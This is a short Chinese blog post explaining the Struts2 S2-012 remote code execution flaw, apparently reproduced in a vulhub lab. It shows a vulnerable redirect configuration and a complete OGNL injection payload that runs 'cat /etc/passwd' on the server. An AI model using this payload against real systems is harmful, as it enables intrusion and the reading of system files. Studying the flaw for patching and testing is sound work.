S2-012 遠端程式碼執行漏洞
阿新 • • 發佈:2018-12-21
原理
如果在配置 Action 中 Result 時使用了重定向型別,並且還使用 ${param_name} 作為重定向變數,例如:
<package name="S2-012" extends="struts-default"> <action name="user" class="com.demo.action.UserAction"> <result name="redirect" type="redirect">/index.jsp?name=${name}</result> <result name="input">/index.jsp</result> <result name="success">/index.jsp</result> </action> </package>
這裡 UserAction 中定義有一個 name 變數,當觸發 redirect 型別返回時,Struts2 獲取使用 ${name} 獲取其值,在這個過程中會對 name 引數的值執行 OGNL 表示式解析,從而可以插入任意 OGNL 表示式導致命令執行。
Exp
使用s2-001裡面的payload讀賬號密碼檔案
連結:
https://blog.csdn.net/qq_29647709/article/details/84945159
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
參考連結:
https://github.com/vulhub/vulhub/blob/master/struts2/s2-012/README.zh-cn.md